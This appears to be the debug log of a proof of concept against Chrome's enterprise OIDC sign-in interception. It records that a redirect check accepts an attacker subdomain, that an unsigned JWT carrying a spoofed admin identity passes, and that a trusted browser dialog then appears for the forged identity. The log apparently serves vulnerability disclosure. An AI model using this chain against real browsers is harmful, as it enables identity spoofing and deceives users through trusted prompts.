[3477:3477:0401/174610.574360:ERROR:chrome/browser/enterprise/profile_management/oidc_auth_response_capture_navigation_throttle.cc:272] [POC] REDIRECT-CHAIN BYPASS: trusted-host matcher accepted chain URL 'https://attacker-app.access.mcas.ms/start' (host=attacker-app.access.mcas.ms) -- subdomain wildcard / any-hop check passed
[3477:3477:0401/174610.574580:ERROR:chrome/browser/enterprise/profile_management/oidc_auth_response_capture_navigation_throttle.cc:363] [POC] CWE-347 UNSIGNED-JWT ACCEPTED: signature section = 'THIS-SIGNATURE-IS-NEVER-VERIFIED-BY-CHROME' (len=42) -- this signature was NEVER cryptographically verified
[3477:3477:0401/174610.574621:ERROR:chrome/browser/enterprise/profile_management/oidc_auth_response_capture_navigation_throttle.cc:367] [POC] decoded payload from unsigned JWT: {"iss": "https://attacker-tenant.example/v2.0", "sub": "ATTACKER-CHOSEN-SUBJECT-ID-00000000", "upn": "spoofed-admin@target-org.example", "name": "Spoofed Enterprise Admin", "aud": "00000000-0000-0000-0000-000000000000", "exp": 9999999999, "iat": 1700000000}
[3477:3477:0401/174610.594291:ERROR:chrome/browser/enterprise/profile_management/oidc_auth_response_capture_navigation_throttle.cc:428] [POC] *** VULNERABILITY CONFIRMED *** MaybeInterceptOidcAuthentication invoked with ATTACKER-CONTROLLED identity from UNSIGNED JWT: iss='https://attacker-tenant.example/v2.0' sub='ATTACKER-CHOSEN-SUBJECT-ID-00000000' -- next step is ShowOidcInterceptionDialog (trusted browser-native modal)
[3477:3477:0401/174610.594388:ERROR:chrome/browser/enterprise/signin/oidc_authentication_signin_interceptor.cc:140] [POC] OidcAuthenticationSigninInterceptor: unique_user_identifier_ set to 'iss:https://attacker-tenant.example/v2.0,sub:ATTACKER-CHOSEN-SUBJECT-ID-00000000' (built from unverified iss/sub) -- proceeding to dialog
[3477:3477:0401/174610.594768:ERROR:chrome/browser/enterprise/signin/oidc_authentication_signin_interceptor.cc:217] [POC] *** TRUSTED DIALOG TRIGGERED *** delegate_->ShowOidcInterceptionDialog about to be called for forged identity 'iss:https://attacker-tenant.example/v2.0,sub:ATTACKER-CHOSEN-SUBJECT-ID-00000000' -- on a desktop with display, the user now sees a browser-native 'Your organization requires a profile' modal